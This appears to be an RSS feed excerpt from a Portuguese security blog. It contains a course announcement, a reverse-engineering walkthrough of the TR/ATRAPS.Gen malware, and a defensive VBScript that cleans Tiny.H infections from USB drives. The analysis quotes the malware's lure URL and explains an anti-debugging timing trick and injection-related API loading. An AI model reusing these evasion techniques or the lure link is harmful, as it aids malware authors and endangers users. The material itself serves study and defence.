<p>Uma dica pra ele de nosso grande herói He-man:</p>
<p><iframe width="480" height="360" src="http://www.youtube.com/embed/rTc6-TGtg9I?rel=0" frameborder="0"></iframe></p>
<p>Happy Hack N&#8217; Roll. <img src='http://blog.hacknroll.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2009/11/12/a-verdade-sobre-o-apagao-2/feed/</wfw:commentRss>
		<slash:comments>204</slash:comments>
		</item>
		<item>
		<title>Material do Curso de Ataques Web</title>
		<link>http://blog.hacknroll.com/2009/07/11/material-do-curso-de-ataques-web/</link>
		<comments>http://blog.hacknroll.com/2009/07/11/material-do-curso-de-ataques-web/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 02:58:54 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Sem categoria]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=192</guid>
		<description><![CDATA[Pessoal, É com grande satisfação que concluí a primeira turma do Curso de Extensão Tecnológica em Ataques Web do Centro Universitário Vila Velha. E, como prometido para muitos, estou disponibilizado o material utilizado durante o curso. Nele temos a apostila de 72 páginas que eu mesmo escrevi, e os slides apresentados durante as aulas. Segue [...]]]></description>
				<content:encoded><![CDATA[<p>Pessoal,</p>
<p>É com grande satisfação que concluí a primeira turma do Curso de Extensão Tecnológica em Ataques Web do Centro Universitário Vila Velha. E, como prometido para muitos, estou disponibilizado o material utilizado durante o curso. Nele temos a apostila de 72 páginas que eu mesmo escrevi, e os slides apresentados durante as aulas.</p>
<p>Segue o link para cada um dos itens do material:</p>
<ul>
<li><a href="http://maycon.hacknroll.com/docs/Apostila%20-%20Seguran%c3%a7a%20em%20Web%20(Sem%20Revisao).pdf">Apostila (Sem Revisão)</a></li>
<li><a href="http://maycon.hacknroll.com/docs/Curso%20de%20Extens%c3%a3o%20Tecnol%c3%b3gica%20-%20Aula%201.pdf">Slides da Primeira Aula</a></li>
<li><a href="http://maycon.hacknroll.com/docs/Curso%20de%20Extens%c3%a3o%20Tecnol%c3%b3gica%20-%20Aula%202.pdf">Slides da Segunda Aula</a></li>
<li><a href="http://maycon.hacknroll.com/docs/Curso%20de%20Extens%c3%a3o%20Tecnol%c3%b3gica%20-%20Aula%203.pdf">Slides da Terceira Aula</a></li>
<li><a href="http://maycon.hacknroll.com/docs/Curso%20de%20Extens%c3%a3o%20Tecnol%c3%b3gica%20-%20Aula%204.pdf">Slides da Quarta Aula</a></li>
</ul>
<p>Bem, infelizmente a apostila está sem revisão. Contanto estou contando com a colaboração de todos para enviarem algumas revisões que acharem necessárias. Provavelmente no modelo final irei colocar uma lista de todos que contribuiram com a revisão.</p>
<p>Só para lembrar que o curso está com inscrições abertas para a segunda turma. Caso esteja interessado as inscrições podem ser feita <a href="http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp">Aqui</a>.</p>
<p>Durante o curso, criei um grupo do Yahoo Grupos! para que possamos trocar melhores experiências e tirar dúvidas no quesito &#8220;segurança em web&#8221;. Se tiver interessado em contribuir com o grupo o mesmo pode ser acesso <a href="http://br.groups.yahoo.com/group/ET-UVV-AtaquesWeb/">Aqui</a>.</p>
<p>Obrigado a todos e Hack&#8217;n Roll</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2009/07/11/material-do-curso-de-ataques-web/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Análise do Virus TR/ATRAPS.Gen – Parte 1</title>
		<link>http://blog.hacknroll.com/2009/04/12/analise-do-virus-tratrapsgen-parte-1/</link>
		<comments>http://blog.hacknroll.com/2009/04/12/analise-do-virus-tratrapsgen-parte-1/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 22:27:06 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Análise de Binário]]></category>
		<category><![CDATA[Malwares]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=169</guid>
		<description><![CDATA[Hoje cheguei em casa umas 12h e notei que tinha uma mensagem no MSN com o seguinte: Esta foto te miras padre! http://img456.myspace-imagen.info/img456/my.php?id=MVC-IMAGEN41.jpeg Então pensei: Ou a minha tia está aprendendo espanhol e esta querendo praticar comigo, ou ela esta com um vírus de MSN. Para tirar minhas dúvidas cliquei no link e, como de [...]]]></description>
				<content:encoded><![CDATA[<p>Hoje cheguei em casa umas 12h e notei que tinha uma mensagem no MSN com o seguinte:</p>
<blockquote><p>Esta foto te miras padre!</p>
<p>http://img456.myspace-imagen.info/img456/my.php?id=MVC-IMAGEN41.jpeg</p></blockquote>
<p>Então pensei: Ou a minha tia está aprendendo espanhol e esta querendo praticar comigo, ou ela esta com um vírus de MSN. Para tirar minhas dúvidas cliquei no link e, como de se esperar, o navegador abriu uma janela para eu efetuar download do arquivo MVC-IMAGEN41.jpeg.src. Então o salvei e comecei a fazer a análise dele.</p>
<p>Ao submeter para o VirusTotal, notei que dos 37 anti-virus com base de assinaturas registradas, somente 4 o detectaria como vírus. Para maiores detalhes da submissão do vírus acesse <a href="http://www.virustotal.com/pt/analisis/8d997936bda52f125e4f961dfd6c12b2">VirusTotal</a></p>
<p>Abri no PEiD para ver o que ele me falava do arquivo, e obtive a seguinte resposta:</p>
<p><img src="http://blog.hacknroll.com/wp-content/uploads/2009/04/figura01.jpg" alt="figura01" width="422" height="243" class="aligncenter size-full wp-image-170" /></p>
<p>Pelo PEiD foi possível notar que não existe nenhum tipo de compactação nem criptografia das sessões do binário. Então bastamos abrir o binário para uma análise direta.</p>
<p>Abri o binário no OllyDbg e logo no inicio vemos a seguinte chamada:<br />
<img src="http://blog.hacknroll.com/wp-content/uploads/2009/04/figura02.jpg" alt="figura02" width="692" height="463" class="aligncenter size-full wp-image-172" /></p>
<p>Inicialmente ele aloca memória na pilha e em seguida move uma constante para o registrador EAX e efetua uma chamada. Ao analisarmos a chamada temos o seguinte:</p>
<p><img src="http://blog.hacknroll.com/wp-content/uploads/2009/04/figura03.jpg" alt="figura03" width="642" height="210" class="aligncenter size-full wp-image-175" /></p>
<p>Nesta chamada é salvo o parâmetro que está em EAX no registrador EBX em seguida move-se o valor 0 (zero) para a posição [44064] que representa o TLS (Thread-Local Storage) do processo, utilizada para criar um mecanismo de IPC. Por padrão, às variáveis locais de uma função são únicas para cada thread que execute a função e as variáveis globais e estáticas (static) são compartilhadas por cada processo. Com TLS, utilizando um índice global, é possível prover um dado único para cada thread que o processo pode acessar.</p>
<p>Após zerar o TLS, o processo efetua  uma chamada a API GetModuleHandleA[1] passando 0 (zero) como parâmetro. A API GetModuleHandleA() retorna o handle (ponteiro) para o módulo passado como parâmetro, o módulo no caso seria algum outro processo ou DLL carregado na mesma região de memória do processo atual. Como foi passado como parâmetro o valor 0 (zero) a API retornará o Handle do arquivo que criou o processo atual, no caso o nosso m4ware.</p>
<p>Em seguida o processo salva o  resultado nos endereço DS:[4566C] e DS:[4406C], então para facilitar o trabalho colocamos um label (rótulo) nesses endereços.</p>
<p><img src="http://blog.hacknroll.com/wp-content/uploads/2009/04/figura04.jpg" alt="figura04" width="606" height="210" class="aligncenter size-full wp-image-180" /></p>
<p>Nesta sub-rotina, vemos um exemplo clássico de anti-debugger. Esse trick consiste é pegar o uptime da máquina em milissegundos (GetTrickCount[2]), em seguida efetuar uma pausa (Sleep) e pegar novamente o numero de milissegundos. Com isto verifica-se se as diferenças foram compatíveis. No exemplo, o malw4re pega o ms da máquina, da uma pause de 501ms e em seguida pega o ms novamente e então verifica se a diferença foi de 501ms. Então a sub-rotina retorna 1 (um) em EAX caso ocorra a diferença (debug detectado) ou 0 (zero) caso não tenha detectado. Após a verificação, o malw4are altera seu fluxo caso tenha sido detectado o debug, executando o salto condicional (endereço 00043616).</p>
<p>Não tenho detectado o debuger, o malw4are prossegue normalmente e em seguida executa a seguinte rotina passando o valor 6F (111 dec.) no registrador EAX:</p>
<p><img src="http://blog.hacknroll.com/wp-content/uploads/2009/04/figura05.jpg" alt="figura05" width="652" height="606" class="aligncenter size-full wp-image-181" /></p>
<p>No inicio temos o prelúdio normal de uma rotina (salva pilha e separa nova pilha). Em seguida temos a alocação de uma região da pilha (variáveis locais). Salva-se o valor de EAX (parâmetro) em EBX e executa um Sleep de 50ms. Após a pausa, o m4lware soma Trick do sistema e com o parâmetro passado e executa um salto incondicional para o meio de loop (endereço 000434D4). O loop executa diversas leituras de mensagens do sistemas. A estrutura de resposta da mensagem fica armazenada na pilha no endereço SS:[EBP-1C], então o processo verifica pela mensagem de ID 12h para então sair[3].</p>
<p>Ao sair desta rotina, o m4lware passa para a seguinte rotina:</p>
<p><img src="http://blog.hacknroll.com/wp-content/uploads/2009/04/figura06.jpg" alt="figura06" width="641" height="661" class="aligncenter size-full wp-image-182" /></p>
<p>Inicialmente temos o prelúdio com a alocação e inicialização (com zeros) das variáveis locais da sub-rotina. É possível notar diversas chamadas a API LoadLibraryA[4], que é responsável por carregar uma determinada biblioteca (DLL) dinamicamente, ou seja, sem estar no IMPORT_TABLE do binário. Porém, antes de cada chamada, temos a chamada a três sub-rotinas do binário. Analisando superficialmente, é possível notar que a primeira rotina carrega uma mensagem codificada, a segunda decodifica a mensagem e a terceira verifica se teve sucesso ou não. Com isto, é possível verificar que as chamadas as APIs LoadLibraryA() importam as bibliotecas kernel32.dll, advapi32.dll e ntdll.dll respectivamente. Em seguira é feito uma chamada a API GetProcAddress, que é responsável por, dado um handle de uma biblioteca (retorno da função LoadLibrary()) e um nome de API, retorna um ponteiro para a rotina da API. A chamada à GetProcAddress() busca e retorna o endereço da própria API GetProcessAddress em Kernel32.dll, armazenando seu retorno em DS:[ESI]. </p>
<p>Após a obtenção do endereço de GetProceAddres em DS:[ESI], a rotina efetua diversas rotinas como as seguintes:</p>
<p><img src="http://blog.hacknroll.com/wp-content/uploads/2009/04/figura07.jpg" alt="figura07" width="620" height="133" class="aligncenter size-full wp-image-183" /></p>
<p>Com isto, o m4lware carrega as APIs RegCloseKey, RegQueryValueExA, RegOpenKeyA, EnumResourceNamesA, GetModuleHandleA, GetComputerNameA, GetUserNameA, GetFileAttributesA, FreeLibrary, FreeResource, ExitProcess, SizeofResource, LoadResource, LockResource, FindResourceA, SetThreadContext, TerminateProcess, ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, CreateProcessA, GetThreadContext, ReadProcessMemory, SetThreadContext, ResumeThread e VirtualProtectEx, não necessariamente nesta ordem.</p>
<p>No final, esta rotina libera o handle das biblitecas kernel32.dll, advapi.dll e ntdll.dll carregados no inicio.</p>
<p>Bem, esta foi a primeira parte da análise do m4lware TR/ATRAPS.Gen, até então não encontramos nada de muito complicado nem ameaçador. Nos post futuros continuarei  com a análise e talvez tenha algo de mais interessante.</p>
<p>Referências:<br />
[1] GetModuleHandle Function: <a href="http://msdn.microsoft.com/en-us/library/ms683199(VS.85).aspx">http://msdn.microsoft.com/en-us/library/ms683199(VS.85).aspx</a><br />
[2] Thread-Local Storage: <a href="http://msdn.microsoft.com/en-us/library/ms686749.aspx">http://msdn.microsoft.com/en-us/library/ms686749.aspx</a><br />
[3] MSG Structure: <a href="http://msdn.microsoft.com/en-us/library/ms644958(VS.85).aspx">http://msdn.microsoft.com/en-us/library/ms644958(VS.85).aspx</a><br />
[4] LoadLibrary Function: <a href="http://msdn.microsoft.com/en-us/library/ms684175(VS.85).aspx">http://msdn.microsoft.com/en-us/library/ms684175(VS.85).aspx</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2009/04/12/analise-do-virus-tratrapsgen-parte-1/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Curso de Ataques Web</title>
		<link>http://blog.hacknroll.com/2009/04/07/curso-de-ataques-em-web/</link>
		<comments>http://blog.hacknroll.com/2009/04/07/curso-de-ataques-em-web/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 19:06:36 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Sem categoria]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=165</guid>
		<description><![CDATA[Pessoal, Tenho o prazer de informar que já estão abertas as inscrições para o curso Ataques web: entendendo, identificando e prevenindo, inédito em nosso estado. http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp O curso terá 24h e custará apenas R$120,00. Para vocês terem uma idéia de como está barato, curso similar em São Paulo, com carga horária muito inferior (8h), é [...]]]></description>
				<content:encoded><![CDATA[<p>Pessoal,</p>
<p>Tenho o prazer de informar que já estão abertas as inscrições para o curso <strong>Ataques web: entendendo, identificando e prevenindo</strong>, inédito em nosso estado.<br />
<a href="http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp">http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp</a></p>
<p>O curso terá 24h e custará apenas R$120,00. Para vocês terem uma idéia de como está barato, curso similar em São Paulo, com carga horária muito inferior (8h), é oferecido por R$299,00.</p>
<p>O curso abordará o Top 10 da OWASP (The Open Web Application Security Project), que relaciona anualmente as 10 vulnerabilidades mais exploradas na web. Será apresentada aos alunos a realidade dos ataques em sistemas web de maneira prática, demonstrando como os atacantes identificam as  vulnerabilidades e, a partir delas, efetuam ataques que comprometem os principais ativos das empresas.<br />
Após entenderem como os ataques são realizados os alunos aprenderão a projetar e desenvolver sistemas web imunes a eles, aplicando as melhores técnicas de prevenção e defesa.</p>
<p>Se você trabalha ou tem interesse nas áreas de desenvolvimento web ou segurança da informação, essa é uma oportunidade imperdível para você.</p>
<p>O curso é 100% prático, com um aluno por computador e realizado em moderno laboratório climatizado. Os alunos receberão material didático de apoio e ainda contarão com suporte pedagógico do professor via Internet durante todo o período do curso, permitindo um acompanhamento detalhado do desenvolvimento de cada aluno. Além disso, os certificados têm a chancela da UVV, a maior e mais respeitada instituição privada de ensino do Espírito Santo.</p>
<p>Atenção: as vagas são limitadas. Faça já sua inscrição on-line e garanta sua<br />
vaga.<br />
<a href="http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp">http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp</a></p>
<p>Obs: há também a possibilidade de serem criadas turmas personalizadas para empresas ou grupos fechados. Para mais informações, entre em contato.</p>
<p>Obs. 2: em breve serão oferecidos vários outros cursos de curta duração na área de TI. Fiquem atentos.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2009/04/07/curso-de-ataques-em-web/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Vacina Tiny.H</title>
		<link>http://blog.hacknroll.com/2009/03/21/vacina-tinyh/</link>
		<comments>http://blog.hacknroll.com/2009/03/21/vacina-tinyh/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 04:20:07 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Análise de Binário]]></category>
		<category><![CDATA[Segurança]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=153</guid>
		<description><![CDATA[A arte da engenharia reversa realmente é tão fantastica quanto ampla. Muitas pessoas só conhecem engenharia reversa como o método utilizado para criar cracks, keygens entre outras ferramentas do gênero. Porém, a engenharia reversa é utilizada amplamente para migração de código entre plataformas (geralmente drivers para hardware sem documentação), análise de vulnerabilidades em ferramentas de [...]]]></description>
				<content:encoded><![CDATA[<p>A arte da engenharia reversa realmente é tão fantastica quanto ampla. Muitas pessoas só conhecem engenharia reversa como o método utilizado para criar cracks, keygens entre outras ferramentas do gênero. Porém, a engenharia reversa é utilizada amplamente para migração de código entre  plataformas (geralmente drivers para hardware sem documentação), análise de vulnerabilidades em ferramentas de código fechado e para análise de malwares para criação de vacina.</p>
<p>Das criações de vacinas, pude fazer minha primeira vacina para um virus denominado TINY.H que estava disseminado nos laboratórios da faculdade. Ele se auto-copiava para dispositivos removíveis (pen-drivers), criando dois arquivos executáveis e um autorun, todos com permissões ocultas e de arquivos de sistema. </p>
<p>O problema é que, como o usuário disponível não tinha permissão para nada, não era permitido matar os processos do virus e, consequentemente, apagar os arquivos do pen-drive.</p>
<p>Para solucionar o problema, desenvolvi uma pseudo vacina em VBS que remove os processos e limpa o pen-driver, segue algumas rotinas necessárias. Basicamente foram utilizados dois objetos: o FileSystemObject e o Windows Management Instrumentation (WMI) como segue:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="vb" style="font-family:monospace;"><span style="color: #151B8D; font-weight: bold;">Set</span> objWMIService = <span style="color: #E56717; font-weight: bold;">GetObject</span>(<span style="color: #800000;">&quot;winmgmts:{impersonationLevel=impersonate}!\\&quot;</span> &amp; strComputer &amp; <span style="color: #800000;">&quot;\root\cimv2&quot;</span>)
<span style="color: #151B8D; font-weight: bold;">Set</span> objFSO = <span style="color: #E56717; font-weight: bold;">CreateObject</span>(<span style="color: #800000;">&quot;Scripting.FileSystemObject&quot;</span>)</pre></td></tr></table></div>

<p>Tendo os objetos no escopo global, criei a seguinte rotina que remove as permissões de um dado arquivo:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="vb" style="font-family:monospace;"><span style="color: #008000;">'----------------------------------------------------------------------
</span><span style="color: #008000;">' Esta função restaura as permissões dos arquivos de infecção para a
</span><span style="color: #008000;">' NORMAL, pois os mesmo ficam com as permições SYSTEM, HIDDEN e ARCHIVE
</span><span style="color: #008000;">'----------------------------------------------------------------------
</span>Const FILE_ATTRIBUTE_NORMAL   = 128
&nbsp;
<span style="color: #E56717; font-weight: bold;">sub</span> RemovePermicoes(cArquivo)
    Wscript.Echo <span style="color: #800000;">&quot;  &gt; &quot;</span> &amp; cArquivo
    <span style="color: #151B8D; font-weight: bold;">Set</span> ObjFile = objFSO.GetFile(cArquivo)
    objFile.Attributes = FILE_ATTRIBUTE_NORMAL
<span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #E56717; font-weight: bold;">sub</span></pre></td></tr></table></div>

<p>Juntamente com ela, criei a seguinte função responsável pela remoção de um dado arquivo:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="vb" style="font-family:monospace;"><span style="color: #008000;">'----------------------------------------------------------------
</span><span style="color: #008000;">' Esta função remove um arquivo ( no caso virótico ) passado como
</span><span style="color: #008000;">' parametro
</span><span style="color: #008000;">'----------------------------------------------------------------
</span><span style="color: #E56717; font-weight: bold;">sub</span> RemoveArquivo(cArquivo)
	objFSO.DeleteFile(cArquivo)
	<span style="color: #8D38C9; font-weight: bold;">if</span> objFSO.FileExists(cArquivo) <span style="color: #8D38C9; font-weight: bold;">then</span>
	    Wscript.Echo <span style="color: #800000;">&quot;  &gt; Arquivo [&quot;</span> &amp; cArquivo &amp; <span style="color: #800000;">&quot;] NÃO removido&quot;</span>
    <span style="color: #8D38C9; font-weight: bold;">else</span>
	    Wscript.Echo <span style="color: #800000;">&quot;  &gt; Arquivo [&quot;</span> &amp; cArquivo &amp; <span style="color: #800000;">&quot;] removido&quot;</span>
	<span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #8D38C9; font-weight: bold;">if</span>
<span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #E56717; font-weight: bold;">sub</span></pre></td></tr></table></div>

<p>Antes de remover as permissões e apagar o &#8216;dito cujo&#8217;, foi necessário remover todos os processos com origem no arquivo, para isto escrevi a seguinte função:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="vb" style="font-family:monospace;"><span style="color: #008000;">'----------------------------------------------------------------------
</span><span style="color: #008000;">' Esta função é responsável por remover os processos relacionados aos
</span><span style="color: #008000;">' arquivos que identificam os virus
</span><span style="color: #008000;">'----------------------------------------------------------------------
</span><span style="color: #E56717; font-weight: bold;">sub</span> RemoveProcessos(cCaminho)
    Wscript.Echo <span style="color: #800000;">&quot;  &gt; Caminho: &quot;</span> &amp; cCaminho
    <span style="color: #151B8D; font-weight: bold;">Set</span> colProcessList = objWMIService.ExecQuery (<span style="color: #800000;">&quot;SELECT * FROM Win32_Process&quot;</span>)
    <span style="color: #8D38C9; font-weight: bold;">For</span> <span style="color: #8D38C9; font-weight: bold;">Each</span> objProcess <span style="color: #8D38C9; font-weight: bold;">in</span> colProcessList
        <span style="color: #8D38C9; font-weight: bold;">if</span> objProcess.ExecutablePath = cCaminho <span style="color: #8D38C9; font-weight: bold;">then</span>
            objProcess.Terminate()
            Wscript.Echo <span style="color: #800000;">&quot;    &gt; PID: &quot;</span> &amp; objProcess.ProcessId &amp; <span style="color: #800000;">&quot; morto&quot;</span>
        <span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #8D38C9; font-weight: bold;">if</span>
    <span style="color: #8D38C9; font-weight: bold;">next</span>
<span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #E56717; font-weight: bold;">sub</span></pre></td></tr></table></div>

<p>Estas três funções podem ser reutilizadas em quaisquer vacinas que precise destas funcionalidades. Agora iremos partir para as tarefas específicas do virus TINY.H.</p>
<p>Primeiro precisamos identificar a presença do virus. Para isto peguei o nome dos arquivos que ele gera, chamados autorun.inf, explorer.exe e fooool.exe. Com isto, escrevi a seguinte função que verifica se um determinado dispositivo (H:, i:, etc) esta infectado:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="vb" style="font-family:monospace;"><span style="color: #008000;">'---------------------------------------------------------------------
</span><span style="color: #008000;">' Verifica a possivel infecção em um dispositivo, tendo como parametro
</span><span style="color: #008000;">' a letra do dispositivo e verificando através da existencia dos
</span><span style="color: #008000;">' arquivos deixados pela infecção
</span><span style="color: #008000;">'---------------------------------------------------------------------
</span><span style="color: #E56717; font-weight: bold;">function</span> DispositivoInfectado(cDispositivo)
    DispositivoInfectado = objFSO.FileExists(cDispositivo + <span style="color: #800000;">&quot;\autorun.inf&quot;</span>) <span style="color: #8D38C9; font-weight: bold;">AND</span> _
                           objFSO.FileExists(cDispositivo + <span style="color: #800000;">&quot;\explorer.exe&quot;</span>) <span style="color: #8D38C9; font-weight: bold;">AND</span> _
                           objFSO.FileExists(cDispositivo + <span style="color: #800000;">&quot;\fooool.exe&quot;</span>)
<span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #E56717; font-weight: bold;">function</span></pre></td></tr></table></div>

<p>Sabendo que um determinado dispositivo esta infectado, basta utilizar as rotinas já vistas para restaurar as permissões dos arquivos (remover o SYSTEM, HIDDEN e ARCHIVE), matar os respectivos processos e remover os arquivos:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre class="vb" style="font-family:monospace;"><span style="color: #008000;">'------------------------------------------------
</span><span style="color: #008000;">' Função responsável pelo processo de desinfecção
</span><span style="color: #008000;">'------------------------------------------------
</span><span style="color: #E56717; font-weight: bold;">function</span> Desinfecta(cDispositivo)
    Wscript.Echo <span style="color: #800000;">&quot;----------------------------------&quot;</span>
    Wscript.Echo <span style="color: #800000;">&quot;======= Aplicando Recovery =======&quot;</span>
    Wscript.Echo <span style="color: #800000;">&quot;----------------------------------&quot;</span>
&nbsp;
    Wscript.Echo <span style="color: #800000;">&quot;&gt; Restaurando Permições para Original&quot;</span>
    RemovePermicoes cDispositivo &amp; <span style="color: #800000;">&quot;\autorun.inf&quot;</span>
    RemovePermicoes cDispositivo &amp; <span style="color: #800000;">&quot;\explorer.exe&quot;</span>
    RemovePermicoes cDispositivo &amp; <span style="color: #800000;">&quot;\fooool.exe&quot;</span>
    Wscript.Echo <span style="color: #800000;">&quot;&quot;</span>
&nbsp;
    Wscript.Echo <span style="color: #800000;">&quot;&gt; Finalizando Processos Dependentes&quot;</span>    
    RemoveProcessos cDispositivo + <span style="color: #800000;">&quot;\explorer.exe&quot;</span>
    RemoveProcessos cDispositivo + <span style="color: #800000;">&quot;\fooool.exe&quot;</span>
    Wscript.Echo <span style="color: #800000;">&quot;&quot;</span>
&nbsp;
    Wscript.Echo <span style="color: #800000;">&quot;&gt; Apagando Arquivos&quot;</span>    
    RemoveArquivo cDispositivo + <span style="color: #800000;">&quot;\explorer.exe&quot;</span>
    RemoveArquivo cDispositivo + <span style="color: #800000;">&quot;\fooool.exe&quot;</span>
    Wscript.Echo <span style="color: #800000;">&quot;&quot;</span>
&nbsp;
<span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #E56717; font-weight: bold;">function</span></pre></td></tr></table></div>

<p>E para nossa (pseudo-)vacina esta quase completa basta varrer todos os dispositivoes removíveis a procura de algum infectado:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="code"><pre class="vb" style="font-family:monospace;"><span style="color: #008000;">'-------------------------------------------------------------
</span><span style="color: #008000;">' Busca todos os dispositivos removiveis a procura da infeccao
</span><span style="color: #008000;">'-------------------------------------------------------------
</span><span style="color: #151B8D; font-weight: bold;">Set</span> colDisks = objWMIService.ExecQuery(<span style="color: #800000;">&quot;Select * from Win32_LogicalDisk Where DriveType = &quot;</span> &amp; REMOVABLE_DRIVER &amp; <span style="color: #800000;">&quot;&quot;</span>)
&nbsp;
&nbsp;
Wscript.Echo <span style="color: #800000;">&quot;----------------------------------&quot;</span>
Wscript.Echo <span style="color: #800000;">&quot;====== Verificando Infecção ======&quot;</span>
Wscript.Echo <span style="color: #800000;">&quot;----------------------------------&quot;</span>
&nbsp;
&nbsp;
boolInfected = <span style="color: #00C2FF; font-weight: bold;">False</span>
<span style="color: #8D38C9; font-weight: bold;">For</span> <span style="color: #8D38C9; font-weight: bold;">Each</span> objDisk <span style="color: #8D38C9; font-weight: bold;">in</span> colDisks
&nbsp;
    <span style="color: #8D38C9; font-weight: bold;">if</span> objDisk.DeviceID  <span style="color: #800000;">&quot;A:&quot;</span> <span style="color: #8D38C9; font-weight: bold;">then</span> <span style="color: #008000;">' Não vale disquete :P
</span>
        <span style="color: #008000;">'----------------------------------------------
</span>        <span style="color: #008000;">' Verifica a existencia da infeccao nos drivers
</span>        <span style="color: #008000;">'----------------------------------------------
</span>        <span style="color: #8D38C9; font-weight: bold;">if</span> DispositivoInfectado(objDisk.DeviceID) <span style="color: #8D38C9; font-weight: bold;">then</span>
&nbsp;
            Wscript.Echo <span style="color: #800000;">&quot;&gt; Possível infecção TINY/H em (&quot;</span> + objDisk.DeviceID + <span style="color: #800000;">&quot;)&quot;</span>
            Wscript.Echo <span style="color: #800000;">&quot;  &gt; &quot;</span> + objDisk.DeviceID + <span style="color: #800000;">&quot;\autorun.inf&quot;</span>
            Wscript.Echo <span style="color: #800000;">&quot;  &gt; &quot;</span> + objDisk.DeviceID + <span style="color: #800000;">&quot;\explorer.exe&quot;</span>
            Wscript.Echo <span style="color: #800000;">&quot;  &gt; &quot;</span> + objDisk.DeviceID + <span style="color: #800000;">&quot;\fooool.exe&quot;</span>
            Wscript.Echo <span style="color: #800000;">&quot;&quot;</span>
&nbsp;
            Desinfecta objDisk.DeviceID
            boolInfected = <span style="color: #00C2FF; font-weight: bold;">True</span>
        <span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #8D38C9; font-weight: bold;">if</span>
    <span style="color: #8D38C9; font-weight: bold;">end</span> <span style="color: #8D38C9; font-weight: bold;">if</span>
<span style="color: #8D38C9; font-weight: bold;">Next</span></pre></td></tr></table></div>

<p>Bem. Isto foi só um básico de escrita de vacinas contra malwares. O código completo esta disponível para download <a href="http://maycon.hacknroll.com/?p=codes&amp;down=vacina-TINI.H&amp;ext=vbs">aqui</a>, porém o mais interessante seria disponibilizar minha análise (pra quem gosta de assembly). Ela esta um pouco bagunçada, portanto se tiver um tempinho extra irei organizar e posta a análise de meu primeira malware.</p>
<p>Maycon Maia Vitali ( 0ut0fBound )</p>
<p>http://maycon.hacknroll.com</p>
<p>Hack&#8217;n Roll</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2009/03/21/vacina-tinyh/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
